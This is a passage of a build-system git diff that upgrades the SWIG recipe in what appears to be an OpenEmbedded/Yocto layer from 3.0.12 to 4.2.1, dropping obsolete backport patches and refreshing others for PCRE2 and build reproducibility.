-diff --git a/Examples/test-suite/d/preproc_constants_c_runme.1.d b/Examples/test-suite/d/preproc_constants_c_runme.1.d
-index d846c71..2b349af 100644
---- a/Examples/test-suite/d/preproc_constants_c_runme.1.d
-+++ b/Examples/test-suite/d/preproc_constants_c_runme.1.d
-@@ -61,4 +61,6 @@ void main() {
- static assert(is(int == typeof(EXPR_LAND())));
- static assert(is(int == typeof(EXPR_LOR())));
- static assert(is(double == typeof(EXPR_CONDITIONAL())));
-+ static assert(is(int == typeof(EXPR_WCHAR_MAX())));
-+ static assert(is(int == typeof(EXPR_WCHAR_MIN())));
- }
-diff --git a/Examples/test-suite/d/preproc_constants_c_runme.2.d b/Examples/test-suite/d/preproc_constants_c_runme.2.d
-index 9bdbb93..1bac525 100644
---- a/Examples/test-suite/d/preproc_constants_c_runme.2.d
-+++ b/Examples/test-suite/d/preproc_constants_c_runme.2.d
-@@ -61,4 +61,6 @@ void main() {
- static assert(is(int == typeof(EXPR_LAND())));
- static assert(is(int == typeof(EXPR_LOR())));
- static assert(is(double == typeof(EXPR_CONDITIONAL())));
-+ static assert(is(int == typeof(EXPR_WCHAR_MAX())));
-+ static assert(is(int == typeof(EXPR_WCHAR_MIN())));
- }
-diff --git a/Examples/test-suite/d/preproc_constants_runme.1.d b/Examples/test-suite/d/preproc_constants_runme.1.d
-index 009405f..f743f48 100644
---- a/Examples/test-suite/d/preproc_constants_runme.1.d
-+++ b/Examples/test-suite/d/preproc_constants_runme.1.d
-@@ -60,4 +60,6 @@ void main() {
- static assert(is(bool == typeof(EXPR_LAND())));
- static assert(is(bool == typeof(EXPR_LOR())));
- static assert(is(double == typeof(EXPR_CONDITIONAL())));
-+ static assert(is(int == typeof(EXPR_WCHAR_MAX())));
-+ static assert(is(int == typeof(EXPR_WCHAR_MIN())));
- }
-diff --git a/Examples/test-suite/d/preproc_constants_runme.2.d b/Examples/test-suite/d/preproc_constants_runme.2.d
-index 2d92ef0..0d96c37 100644
---- a/Examples/test-suite/d/preproc_constants_runme.2.d
-+++ b/Examples/test-suite/d/preproc_constants_runme.2.d
-@@ -60,4 +60,6 @@ void main() {
- static assert(is(bool == typeof(EXPR_LAND())));
- static assert(is(bool == typeof(EXPR_LOR())));
- static assert(is(double == typeof(EXPR_CONDITIONAL())));
-+ static assert(is(int == typeof(EXPR_WCHAR_MAX())));
-+ static assert(is(int == typeof(EXPR_WCHAR_MIN())));
- }
-diff --git a/Examples/test-suite/php/preproc_constants_c_runme.php b/Examples/test-suite/php/preproc_constants_c_runme.php
-index af9b76e..e59fe18 100644
---- a/Examples/test-suite/php/preproc_constants_c_runme.php
-+++ b/Examples/test-suite/php/preproc_constants_c_runme.php
-@@ -62,5 +62,7 @@ check::equal(gettype(preproc_constants_c::EXPR_OR), "integer", "preproc_constant
- check::equal(gettype(preproc_constants_c::EXPR_LAND), "integer", "preproc_constants.EXPR_LAND has unexpected type");
- check::equal(gettype(preproc_constants_c::EXPR_LOR), "integer", "preproc_constants.EXPR_LOR has unexpected type");
- check::equal(gettype(preproc_constants_c::EXPR_CONDITIONAL), "double", "preproc_constants.EXPR_CONDITIONAL has unexpected type");
-+check::equal(gettype(preproc_constants_c::EXPR_WCHAR_MAX), "integer", "preproc_constants.EXPR_WCHAR_MAX has unexpected type");
-+check::equal(gettype(preproc_constants_c::EXPR_WCHAR_MIN), "integer", "preproc_constants.EXPR_WCHAR_MIN has unexpected type");
-
- ?>
-diff --git a/Examples/test-suite/php/preproc_constants_runme.php b/Examples/test-suite/php/preproc_constants_runme.php
-index 5c9119b..8e117ea 100644
---- a/Examples/test-suite/php/preproc_constants_runme.php
-+++ b/Examples/test-suite/php/preproc_constants_runme.php
-@@ -61,5 +61,7 @@ check::equal(gettype(preproc_constants::EXPR_OR), "integer", "preproc_constants.
- check::equal(gettype(preproc_constants::EXPR_LAND), "boolean", "preproc_constants.EXPR_LAND has unexpected type");
- check::equal(gettype(preproc_constants::EXPR_LOR), "boolean", "preproc_constants.EXPR_LOR has unexpected type");
- check::equal(gettype(preproc_constants::EXPR_CONDITIONAL), "double", "preproc_constants.EXPR_CONDITIONAL has unexpected type");
-+check::equal(gettype(preproc_constants::EXPR_WCHAR_MAX), "integer", "preproc_constants.EXPR_WCHAR_MAX has unexpected type");
-+check::equal(gettype(preproc_constants::EXPR_WCHAR_MIN), "integer", "preproc_constants.EXPR_WCHAR_MIN has unexpected type");
-
- ?>
-diff --git a/Examples/test-suite/php5/preproc_constants_c_runme.php b/Examples/test-suite/php5/preproc_constants_c_runme.php
-index 1ea0195..d978fab 100644
---- a/Examples/test-suite/php5/preproc_constants_c_runme.php
-+++ b/Examples/test-suite/php5/preproc_constants_c_runme.php
-@@ -62,5 +62,7 @@ check::equal(gettype(preproc_constants_c::EXPR_OR), "integer", "preproc_constant
- check::equal(gettype(preproc_constants_c::EXPR_LAND), "integer", "preproc_constants.EXPR_LAND has unexpected type");
- check::equal(gettype(preproc_constants_c::EXPR_LOR), "integer", "preproc_constants.EXPR_LOR has unexpected type");
- check::equal(gettype(preproc_constants_c::EXPR_CONDITIONAL), "double", "preproc_constants.EXPR_CONDITIONAL has unexpected type");
-+check::equal(gettype(preproc_constants_c::EXPR_WCHAR_MAX), "integer", "preproc_constants.EXPR_WCHAR_MAX has unexpected type");
-+check::equal(gettype(preproc_constants_c::EXPR_WCHAR_MIN), "integer", "preproc_constants.EXPR_WCHAR_MIN has unexpected type");
-
- ?>
-diff --git a/Examples/test-suite/php5/preproc_constants_runme.php b/Examples/test-suite/php5/preproc_constants_runme.php
-index fb9ee4f..7527026 100644
---- a/Examples/test-suite/php5/preproc_constants_runme.php
-+++ b/Examples/test-suite/php5/preproc_constants_runme.php
-@@ -70,5 +70,7 @@ check::equal(gettype(preproc_constants::EXPR_LAND), "integer", "preproc_constant
- check::equal(gettype(preproc_constants::EXPR_LOR), "integer", "preproc_constants.EXPR_LOR has unexpected type");
-
- check::equal(gettype(preproc_constants::EXPR_CONDITIONAL), "double", "preproc_constants.EXPR_CONDITIONAL has unexpected type");
-+check::equal(gettype(preproc_constants::EXPR_WCHAR_MAX), "integer", "preproc_constants.EXPR_WCHAR_MAX has unexpected type");
-+check::equal(gettype(preproc_constants::EXPR_WCHAR_MIN), "integer", "preproc_constants.EXPR_WCHAR_MIN has unexpected type");
-
- ?>
-diff --git a/Examples/test-suite/preproc_constants.i b/Examples/test-suite/preproc_constants.i
-index 3a999ad..16b44c9 100644
---- a/Examples/test-suite/preproc_constants.i
-+++ b/Examples/test-suite/preproc_constants.i
-@@ -87,6 +87,9 @@
- #define EXPR_LOR 0xFF || 1
- #define EXPR_CONDITIONAL true ? 2 : 2.2
-
-+#define EXPR_WCHAR_MAX (0x7fffffff + L'\0')
-+#define EXPR_WCHAR_MIN (-EXPR_WCHAR_MAX - 1)
-+
- #define EXPR_CHAR_COMPOUND_ADD 'A' + 12
- #define EXPR_CHAR_COMPOUND_LSHIFT 'B' << 6
- #define H_SUPPRESS_SCALING_MAGIC (('s'<<24) | ('u'<<16) | ('p'<<8) | 'p')
-diff --git a/Source/CParse/parser.y b/Source/CParse/parser.y
-index 2e92cd0..273dadb 100644
---- a/Source/CParse/parser.y
-+++ b/Source/CParse/parser.y
-@@ -194,7 +194,7 @@ int SWIG_cparse_template_reduce(int treduce) {
- * ----------------------------------------------------------------------------- */
-
- static int promote_type(int t) {
-- if (t <= T_UCHAR || t == T_CHAR) return T_INT;
-+ if (t <= T_UCHAR || t == T_CHAR || t == T_WCHAR) return T_INT;
- return t;
- }
-
---
-2.9.5
-
diff --git a/meta/recipes-devtools/swig/swig/0001-Use-proc-self-exe-for-swig-swiglib-on-non-Win32-plat.patch b/meta/recipes-devtools/swig/swig/0001-Use-proc-self-exe-for-swig-swiglib-on-non-Win32-plat.patch
index 81df3e264f..5e83e92725 100644
--- a/meta/recipes-devtools/swig/swig/0001-Use-proc-self-exe-for-swig-swiglib-on-non-Win32-plat.patch
+++ b/meta/recipes-devtools/swig/swig/0001-Use-proc-self-exe-for-swig-swiglib-on-non-Win32-plat.patch
@@ -1,4 +1,4 @@
-From a4a0440a644c6c5e5da096efe3cf05ba309a284f Mon Sep 17 00:00:00 2001
+From b88a98348b3841f0b702e314631883d46f9f362d Mon Sep 17 00:00:00 2001
From: "NODA, Kai" <nodakai@gmail.com>
Date: Sun, 22 Apr 2012 17:01:02 +0900
Subject: [PATCH] Use /proc/self/exe for "swig -swiglib" on non-Win32
@@ -8,18 +8,17 @@ If it wasn't found, then fall back to a fixed string just as before.
Upstream-Status: Submitted
http://sourceforge.net/mailarchive/message.php?msg_id=29179733
-
---
- Source/Modules/main.cxx | 24 ++++++++++++++++++++++--
+ Source/Modules/main.cxx | 24 ++++++++++++++++++++++--
1 file changed, 22 insertions(+), 2 deletions(-)
diff --git a/Source/Modules/main.cxx b/Source/Modules/main.cxx
-index d2f5d3b..cbb0a12 100644
+index 76b4f9d..de0a512 100644
--- a/Source/Modules/main.cxx
+++ b/Source/Modules/main.cxx
-@@ -26,6 +26,11 @@ char cvsroot_main_cxx[] = "$Id$";
- #include "cparse.h"
+@@ -25,6 +25,11 @@
#include <ctype.h>
+ #include <errno.h>
#include <limits.h> // for INT_MAX
+#ifndef _WIN32
+#include <cstddef>
@@ -29,7 +28,7 @@ index d2f5d3b..cbb0a12 100644
// Global variables
-@@ -902,9 +907,9 @@ int SWIG_main(int argc, char *argv[], Language *l) {
+@@ -895,9 +900,9 @@ int SWIG_main(int argc, char *argv[], const TargetLanguageModule *tlm) {
// Check for SWIG_LIB environment variable
if ((c = getenv("SWIG_LIB")) == (char *) 0) {
@@ -40,7 +39,7 @@ index d2f5d3b..cbb0a12 100644
if (!(GetModuleFileName(0, buf, MAX_PATH) == 0 || (p = strrchr(buf, '\\')) == 0)) {
*(p + 1) = '\0';
SwigLib = NewStringf("%sLib", buf); // Native windows installation path
-@@ -914,7 +919,22 @@ int SWIG_main(int argc, char *argv[], Language *l) {
+@@ -907,7 +912,22 @@ int SWIG_main(int argc, char *argv[], const TargetLanguageModule *tlm) {
if (Len(SWIG_LIB_WIN_UNIX) > 0)
SwigLibWinUnix = NewString(SWIG_LIB_WIN_UNIX); // Unix installation path using a drive letter (for msys/mingw)
#else
@@ -64,6 +63,3 @@ index d2f5d3b..cbb0a12 100644
#endif
} else {
SwigLib = NewString(c);
---
-1.7.9.5
-
diff --git a/meta/recipes-devtools/swig/swig/0001-configure-use-pkg-config-for-pcre-detection.patch b/meta/recipes-devtools/swig/swig/0001-configure-use-pkg-config-for-pcre-detection.patch
index 1b1128acab..9e16caecca 100644
--- a/meta/recipes-devtools/swig/swig/0001-configure-use-pkg-config-for-pcre-detection.patch
+++ b/meta/recipes-devtools/swig/swig/0001-configure-use-pkg-config-for-pcre-detection.patch
@@ -1,54 +1,56 @@
-From 5c4d6d8538994d5fe9b3b46bfafaf0a605e3bda6 Mon Sep 17 00:00:00 2001
+From 57a15651b46a0f1f84a4dd15d67d104fbfbe3f6e Mon Sep 17 00:00:00 2001
From: Koen Kooi <koen.kooi@linaro.org>
Date: Tue, 17 Jun 2014 08:18:17 +0200
Subject: [PATCH] configure: use pkg-config for pcre detection
Signed-off-by: Koen Kooi <koen.kooi@linaro.org>
-Upstream-Status: pending
+Upstream-Status: Pending
+
---
- configure.ac | 38 +++++++-------------------------------
- 1 file changed, 7 insertions(+), 31 deletions(-)
+ configure.ac | 39 +++++++--------------------------------
+ 1 file changed, 7 insertions(+), 32 deletions(-)
diff --git a/configure.ac b/configure.ac
-index 0c984b7..6edcec1 100644
+index c060028..a330266 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -70,38 +70,14 @@ AC_MSG_RESULT([$with_pcre])
+@@ -49,39 +49,14 @@ AC_MSG_RESULT([$with_pcre])
dnl To make configuring easier, check for a locally built PCRE using the Tools/pcre-build.sh script
if test x"${with_pcre}" = xyes ; then
-- AC_MSG_CHECKING([whether to use local PCRE])
+- AC_MSG_CHECKING([whether to use local PCRE2])
- local_pcre_config=no
-- if test -z $PCRE_CONFIG; then
-- if test -f `pwd`/pcre/pcre-swig-install/bin/pcre-config; then
-- PCRE_CONFIG=`pwd`/pcre/pcre-swig-install/bin/pcre-config
-- local_pcre_config=$PCRE_CONFIG
+- if test -z "$PCRE2_CONFIG"; then
+- if test -f `pwd`/pcre/pcre-swig-install/bin/pcre2-config; then
+- PCRE2_CONFIG=`pwd`/pcre/pcre-swig-install/bin/pcre2-config
+- local_pcre_config=$PCRE2_CONFIG
- fi
- fi
- AC_MSG_RESULT([$local_pcre_config])
-fi
-AS_IF([test "x$with_pcre" != xno],
-- [AX_PATH_GENERIC([pcre],
+- [AX_PATH_GENERIC([pcre2],
- [], dnl Minimal version of PCRE we need -- accept any
- [], dnl custom sed script for version parsing is not needed
-- [AC_DEFINE([HAVE_PCRE], [1], [Define if you have PCRE library])
-- LIBS="$LIBS $PCRE_LIBS"
-- CPPFLAGS="$CPPFLAGS $PCRE_CFLAGS"
+- [AC_DEFINE([HAVE_PCRE], [1], [Define if you have PCRE2 library])
+- LIBS="$LIBS $PCRE2_LIBS"
+- CPPFLAGS="$CPPFLAGS $PCRE2_CFLAGS"
- ],
- [AC_MSG_FAILURE([
-- Cannot find pcre-config script from PCRE (Perl Compatible Regular Expressions)
+- Cannot find pcre2-config script from PCRE2 (Perl Compatible Regular Expressions)
- library package. This dependency is needed for configure to complete,
- Either:
-- - Install the PCRE developer package on your system (preferred approach).
-- - Download the PCRE source tarball, build and install on your system
+- - Install the PCRE2 developer package on your system (preferred approach).
+- - Download the PCRE2 source tarball, build and install on your system
- as you would for any package built from source distribution.
-- - Use the Tools/pcre-build.sh script to build PCRE just for SWIG to statically
+- - Use the Tools/pcre-build.sh script to build PCRE2 just for SWIG to statically
- link against. Run 'Tools/pcre-build.sh --help' for instructions.
-- (quite easy and does not require privileges to install PCRE on your system)
+- (quite easy and does not require privileges to install PCRE2 on your system)
- - Use configure --without-pcre to disable regular expressions support in SWIG
- (not recommended).])
-- ])
-+ PKG_CHECK_MODULES([PCRE], [libpcre], [
+- ],
+- [],[],[--libs8])
++ PKG_CHECK_MODULES([PCRE], [libpcre2], [
+ AC_DEFINE([HAVE_PCRE], [1], [Define if you have PCRE library])
+ LIBS="$LIBS $PCRE_LIBS"
+ CPPFLAGS="$CPPFLAGS $PCRE_CFLAGS"
@@ -59,6 +61,3 @@ index 0c984b7..6edcec1 100644
dnl CCache
---
-1.9.3
-
diff --git a/meta/recipes-devtools/swig/swig/Python-Fix-new-GCC8-warnings-in-generated-code.patch b/meta/recipes-devtools/swig/swig/Python-Fix-new-GCC8-warnings-in-generated-code.patch
deleted file mode 100644
index a91385916c..0000000000
--- a/meta/recipes-devtools/swig/swig/Python-Fix-new-GCC8-warnings-in-generated-code.patch
+++ /dev/null
@@ -1,191 +0,0 @@
-From b6c0ef4b8f6e5c089ac7104b3aaba8f1d17b8b82 Mon Sep 17 00:00:00 2001
-From: Olly Betts <olly@survex.com>
-Date: Mon, 11 Jun 2018 15:51:53 +1200
-Subject: [PATCH] [Python] Fix new GCC8 warnings in generated code
-
-Avoid casts between incompatible function types where possible (when
-keyword args are in use, it is not possible to avoid such warnings as
-they are inherent in the design of Python's C API in that particular
-case). Fixes #1259.
-
-Upstream-Status: Backport
-[https://github.com/swig/swig/commit/7f9883011029674553a2a4b623d459f02b512458]
-
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- Lib/python/pyinit.swg | 4 ++--
- Lib/python/pyrun.swg | 34 ++++++++++++++++++++++++++--------
- Source/Modules/python.cxx | 26 +++++++++++++-------------
- 3 files changed, 41 insertions(+), 23 deletions(-)
-
-diff --git a/Lib/python/pyinit.swg b/Lib/python/pyinit.swg
-index 2cc5828..6bf68c1 100644
---- a/Lib/python/pyinit.swg
-+++ b/Lib/python/pyinit.swg
-@@ -368,8 +368,8 @@ SWIG_init(void) {
- (char *)"this", &SwigPyBuiltin_ThisClosure, NULL, NULL, NULL
- };
- static SwigPyGetSet thisown_getset_closure = {
-- (PyCFunction) SwigPyObject_own,
-- (PyCFunction) SwigPyObject_own
-+ SwigPyObject_own,
-+ SwigPyObject_own
- };
- static PyGetSetDef thisown_getset_def = {
- (char *)"thisown", SwigPyBuiltin_GetterClosure, SwigPyBuiltin_SetterClosure, NULL, &thisown_getset_closure
-diff --git a/Lib/python/pyrun.swg b/Lib/python/pyrun.swg
-index ab1237f..3d0b1b3 100644
---- a/Lib/python/pyrun.swg
-+++ b/Lib/python/pyrun.swg
-@@ -465,6 +465,14 @@ SwigPyObject_repr(SwigPyObject *v, PyObject *args)
- return repr;
- }
-
-+/* We need a version taking two PyObject* parameters so it's a valid
-+ * PyCFunction to use in swigobject_methods[]. */
-+SWIGRUNTIME PyObject *
-+SwigPyObject_repr2(PyObject *v, PyObject *SWIGUNUSEDPARM(args))
-+{
-+ return SwigPyObject_repr((SwigPyObject*)v);
-+}
-+
- SWIGRUNTIME int
- SwigPyObject_compare(SwigPyObject *v, SwigPyObject *w)
- {
-@@ -594,11 +602,7 @@ SwigPyObject_append(PyObject* v, PyObject* next)
- }
-
- SWIGRUNTIME PyObject*
--#ifdef METH_NOARGS
--SwigPyObject_next(PyObject* v)
--#else
- SwigPyObject_next(PyObject* v, PyObject *SWIGUNUSEDPARM(args))
--#endif
- {
- SwigPyObject *sobj = (SwigPyObject *) v;
- if (sobj->next) {
-@@ -633,6 +637,20 @@ SwigPyObject_acquire(PyObject* v, PyObject *SWIGUNUSEDPARM(args))
- return SWIG_Py_Void();
- }
-
-+#ifdef METH_NOARGS
-+static PyObject*
-+SwigPyObject_disown2(PyObject* v, PyObject *SWIGUNUSEDPARM(args))
-+{
-+ return SwigPyObject_disown(v);
-+}
-+
-+static PyObject*
-+SwigPyObject_acquire2(PyObject* v, PyObject *SWIGUNUSEDPARM(args))
-+{
-+ return SwigPyObject_acquire(v);
-+}
-+#endif
-+
- SWIGINTERN PyObject*
- SwigPyObject_own(PyObject *v, PyObject *args)
- {
-@@ -673,12 +691,12 @@ SwigPyObject_own(PyObject *v, PyObject *args)
- #ifdef METH_O
- static PyMethodDef
- swigobject_methods[] = {
-- {(char *)"disown", (PyCFunction)SwigPyObject_disown, METH_NOARGS, (char *)"releases ownership of the pointer"},
-- {(char *)"acquire", (PyCFunction)SwigPyObject_acquire, METH_NOARGS, (char *)"acquires ownership of the pointer"},
-+ {(char *)"disown", (PyCFunction)SwigPyObject_disown2, METH_NOARGS, (char *)"releases ownership of the pointer"},
-+ {(char *)"acquire", (PyCFunction)SwigPyObject_acquire2,METH_NOARGS, (char *)"acquires ownership of the pointer"},
- {(char *)"own", (PyCFunction)SwigPyObject_own, METH_VARARGS, (char *)"returns/sets ownership of the pointer"},
- {(char *)"append", (PyCFunction)SwigPyObject_append, METH_O, (char *)"appends another 'this' object"},
- {(char *)"next", (PyCFunction)SwigPyObject_next, METH_NOARGS, (char *)"returns the next 'this' object"},
-- {(char *)"__repr__",(PyCFunction)SwigPyObject_repr, METH_NOARGS, (char *)"returns object representation"},
-+ {(char *)"__repr__",(PyCFunction)SwigPyObject_repr2, METH_NOARGS, (char *)"returns object representation"},
- {0, 0, 0, 0}
- };
- #else
-@@ -689,7 +707,7 @@ swigobject_methods[] = {
- {(char *)"own", (PyCFunction)SwigPyObject_own, METH_VARARGS, (char *)"returns/sets ownership of the pointer"},
- {(char *)"append", (PyCFunction)SwigPyObject_append, METH_VARARGS, (char *)"appends another 'this' object"},
- {(char *)"next", (PyCFunction)SwigPyObject_next, METH_VARARGS, (char *)"returns the next 'this' object"},
-- {(char *)"__repr__",(PyCFunction)SwigPyObject_repr, METH_VARARGS, (char *)"returns object representation"},
-+ {(char *)"__repr__",(PyCFunction)SwigPyObject_repr, METH_VARARGS, (char *)"returns object representation"},
- {0, 0, 0, 0}
- };
- #endif
-diff --git a/Source/Modules/python.cxx b/Source/Modules/python.cxx
-index a6801fc..72eaa77 100644
---- a/Source/Modules/python.cxx
-+++ b/Source/Modules/python.cxx
-@@ -1109,7 +1109,7 @@ public:
- * ------------------------------------------------------------ */
- int add_pyinstancemethod_new() {
- String *name = NewString("SWIG_PyInstanceMethod_New");
-- Printf(methods, "\t { (char *)\"%s\", (PyCFunction)%s, METH_O, NULL},\n", name, name);
-+ Printf(methods, "\t { \"%s\", %s, METH_O, NULL},\n", name, name);
- Delete(name);
- return 0;
- }
-@@ -2479,17 +2479,17 @@ public:
- if (!kw) {
- if (n && funpack) {
- if (num_required == 0 && num_arguments == 0) {
-- Printf(methods, "\t { (char *)\"%s\", (PyCFunction)%s, METH_NOARGS, ", name, function);
-+ Printf(methods, "\t { \"%s\", %s, METH_NOARGS, ", name, function);
- } else if (num_required == 1 && num_arguments == 1) {
-- Printf(methods, "\t { (char *)\"%s\", (PyCFunction)%s, METH_O, ", name, function);
-+ Printf(methods, "\t { \"%s\", %s, METH_O, ", name, function);
- } else {
-- Printf(methods, "\t { (char *)\"%s\", %s, METH_VARARGS, ", name, function);
-+ Printf(methods, "\t { \"%s\", %s, METH_VARARGS, ", name, function);
- }
- } else {
-- Printf(methods, "\t { (char *)\"%s\", %s, METH_VARARGS, ", name, function);
-+ Printf(methods, "\t { \"%s\", %s, METH_VARARGS, ", name, function);
- }
- } else {
-- Printf(methods, "\t { (char *)\"%s\", (PyCFunction) %s, METH_VARARGS | METH_KEYWORDS, ", name, function);
-+ Printf(methods, "\t { \"%s\", (PyCFunction)%s, METH_VARARGS|METH_KEYWORDS, ", name, function);
- }
-
- if (!n) {
-@@ -3857,7 +3857,7 @@ public:
- if (shadow) {
- if (builtin) {
- String *rname = SwigType_namestr(real_classname);
-- Printf(builtin_methods, " { \"__disown__\", (PyCFunction) Swig::Director::swig_pyobj_disown< %s >, METH_NOARGS, \"\" },\n", rname);
-+ Printf(builtin_methods, " { \"__disown__\", Swig::Director::swig_pyobj_disown< %s >, METH_NOARGS, \"\" },\n", rname);
- Delete(rname);
- } else {
- String *symname = Getattr(n, "sym:name");
-@@ -4694,13 +4694,13 @@ public:
- int argcount = Getattr(n, "python:argcount") ? atoi(Char(Getattr(n, "python:argcount"))) : 2;
- String *ds = have_docstring(n) ? cdocstring(n, AUTODOC_FUNC) : NewString("");
- if (check_kwargs(n)) {
-- Printf(builtin_methods, " { \"%s\", (PyCFunction) %s, METH_VARARGS|METH_KEYWORDS, (char *) \"%s\" },\n", symname, wname, ds);
-+ Printf(builtin_methods, " { \"%s\", (PyCFunction)%s, METH_VARARGS|METH_KEYWORDS, \"%s\" },\n", symname, wname, ds);
- } else if (argcount == 0) {
-- Printf(builtin_methods, " { \"%s\", (PyCFunction) %s, METH_NOARGS, (char *) \"%s\" },\n", symname, wname, ds);
-+ Printf(builtin_methods, " { \"%s\", %s, METH_NOARGS, \"%s\" },\n", symname, wname, ds);
- } else if (argcount == 1) {
-- Printf(builtin_methods, " { \"%s\", (PyCFunction) %s, METH_O, (char *) \"%s\" },\n", symname, wname, ds);
-+ Printf(builtin_methods, " { \"%s\", %s, METH_O, \"%s\" },\n", symname, wname, ds);
- } else {
-- Printf(builtin_methods, " { \"%s\", (PyCFunction) %s, METH_VARARGS, (char *) \"%s\" },\n", symname, wname, ds);
-+ Printf(builtin_methods, " { \"%s\", %s, METH_VARARGS, \"%s\" },\n", symname, wname, ds);
- }
- Delete(fullname);
- Delete(wname);
-@@ -4801,10 +4801,10 @@ public:
- Append(pyflags, "METH_VARARGS");
- if (have_docstring(n)) {
- String *ds = cdocstring(n, AUTODOC_STATICFUNC);
-- Printf(builtin_methods, " { \"%s\", (PyCFunction) %s, %s, (char *) \"%s\" },\n", symname, wname, pyflags, ds);
-+ Printf(builtin_methods, " { \"%s\", (PyCFunction)%s, %s, \"%s\" },\n", symname, wname, pyflags, ds);
- Delete(ds);
- } else {
-- Printf(builtin_methods, " { \"%s\", (PyCFunction) %s, %s, \"\" },\n", symname, wname, pyflags);
-+ Printf(builtin_methods, " { \"%s\", (PyCFunction)%s, %s, \"\" },\n", symname, wname, pyflags);
- }
- Delete(fullname);
- Delete(wname);
---
-2.7.4
-
diff --git a/meta/recipes-devtools/swig/swig/determinism.patch b/meta/recipes-devtools/swig/swig/determinism.patch
new file mode 100644
index 0000000000..9c49414ad7
--- /dev/null
+++ b/meta/recipes-devtools/swig/swig/determinism.patch
@@ -0,0 +1,26 @@
+From 28648b3873d83e26bd19b64ce2c0a41ced9292d3 Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Mon, 1 Mar 2021 00:11:10 +0000
+Subject: [PATCH] swig: Fix reproducibility issue
+
+Remove the compiler commandline/platform from the compiled binary as this
+breaks reproducibilty.
+
+Upstream-Status: Inappropriate [OE reproducibiity fix upstream unlikely to take]
+RP 2021/3/1
+---
+ Source/Modules/main.cxx | 1 -
+ 1 file changed, 1 deletion(-)
+
+diff --git a/Source/Modules/main.cxx b/Source/Modules/main.cxx
+index de0a512..ac9e825 100644
+--- a/Source/Modules/main.cxx
++++ b/Source/Modules/main.cxx
+@@ -638,7 +638,6 @@ static void getoptions(int argc, char *argv[]) {
+ }
+ } else if (strcmp(argv[i], "-version") == 0) {
+ fprintf(stdout, "\nSWIG Version %s\n", Swig_package_version());
+- fprintf(stdout, "\nCompiled with %s [%s]\n", SWIG_CXX, SWIG_PLATFORM);
+ fprintf(stdout, "\nConfigured options: %cpcre\n",
+ #ifdef HAVE_PCRE
+ '+'
diff --git a/meta/recipes-devtools/swig/swig/swig-3.0.12-Coverity-fix-issue-reported-for-SWIG_Python_FixMetho.patch b/meta/recipes-devtools/swig/swig/swig-3.0.12-Coverity-fix-issue-reported-for-SWIG_Python_FixMetho.patch
deleted file mode 100644
index 10e4afd1ba..0000000000
--- a/meta/recipes-devtools/swig/swig/swig-3.0.12-Coverity-fix-issue-reported-for-SWIG_Python_FixMetho.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From 9825fcbab5c4ddd867432f9922bebfbec7b78af0 Mon Sep 17 00:00:00 2001
-From: Mark Dufour <m.dufour@kopano.com>
-Date: Tue, 14 Feb 2017 10:34:37 +0100
-Subject: [PATCH] [Coverity] fix issue reported for SWIG_Python_FixMethods
-
-Fix Coverity issue reported for SWIG_Python_FixMethods:
-
-"buffer_size: Calling strncpy with a source string whose length
-(10 chars) is greater than or equal to the size argument (10)
-will fail to null-terminate buff."
-
-The issue is only reported for the "swig_ptr: " line, but for
-consistency we replace both occurrences of strncpy with memcpy.
----
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Backport [https://github.com/swig/swig/pull/898]
-
- Lib/python/pyinit.swg | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-Index: swig-3.0.12/Lib/python/pyinit.swg
-===================================================================
---- swig-3.0.12.orig/Lib/python/pyinit.swg
-+++ swig-3.0.12/Lib/python/pyinit.swg
-@@ -306,9 +306,9 @@ SWIG_Python_FixMethods(PyMethodDef *meth
- char *ndoc = (char*)malloc(ldoc + lptr + 10);
- if (ndoc) {
- char *buff = ndoc;
-- strncpy(buff, methods[i].ml_doc, ldoc);
-+ memcpy(buff, methods[i].ml_doc, ldoc);
- buff += ldoc;
-- strncpy(buff, "swig_ptr: ", 10);
-+ memcpy(buff, "swig_ptr: ", 10);
- buff += 10;
- SWIG_PackVoidPtr(buff, ptr, ty->name, lptr);
- methods[i].ml_doc = ndoc;
diff --git a/meta/recipes-devtools/swig/swig_3.0.12.bb b/meta/recipes-devtools/swig/swig_3.0.12.bb
deleted file mode 100644
index 45026c9700..0000000000
--- a/meta/recipes-devtools/swig/swig_3.0.12.bb
+++ /dev/null
@@ -1,12 +0,0 @@
-require ${BPN}.inc
-
-SRC_URI += "file://0001-Use-proc-self-exe-for-swig-swiglib-on-non-Win32-plat.patch \
- file://0001-configure-use-pkg-config-for-pcre-detection.patch \
- file://0001-Add-Node-7.x-aka-V8-5.2-support.patch \
- file://swig-3.0.12-Coverity-fix-issue-reported-for-SWIG_Python_FixMetho.patch \
- file://Python-Fix-new-GCC8-warnings-in-generated-code.patch \
- file://0001-Fix-generated-code-for-constant-expressions-containi.patch \
- "
-SRC_URI[md5sum] = "82133dfa7bba75ff9ad98a7046be687c"
-SRC_URI[sha256sum] = "7cf9f447ae7ed1c51722efc45e7f14418d15d7a1e143ac9f09a668999f4fc94d"
-
diff --git a/meta/recipes-devtools/swig/swig_4.2.1.bb b/meta/recipes-devtools/swig/swig_4.2.1.bb
new file mode 100644
index 0000000000..4b438a7298
--- /dev/null
+++ b/meta/recipes-devtools/swig/swig_4.2.1.bb
@@ -0,0 +1,7 @@
+require ${BPN}.inc
+
+SRC_URI += "file://0001-Use-proc-self-exe-for-swig-swiglib-on-non-Win32-plat.patch \
+ file://0001-configure-use-pkg-config-for-pcre-detection.patch \
+ file://determinism.patch \
+ "
+SRC_URI[sha256sum] = "fa045354e2d048b2cddc69579e4256245d4676894858fcf0bab2290ecf59b7d8"
diff --git a/meta/recipes-devtools/syslinux/syslinux/0001-install-don-t-install-obsolete-file-com32.ld.patch b/meta/recipes-devtools/syslinux/syslinux/0001-install-don-t-install-obsolete-file-com32.ld.patch
deleted file mode 100644
index bfd7f41b13..0000000000
--- a/meta/recipes-devtools/syslinux/syslinux/0001-install-don-t-install-obsolete-file-com32.ld.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From bf6db5b48ec25f83939f1fdebb59028bc3c40b00 Mon Sep 17 00:00:00 2001
-From: "H. Peter Anvin (Intel)" <hpa@zytor.com>
-Date: Wed, 6 Feb 2019 11:30:51 -0800
-Subject: [PATCH] install: don't install obsolete file com32.ld
-
-com32.ld has been obsolete for a long time, and has been removed now;
-don't install it either.
-
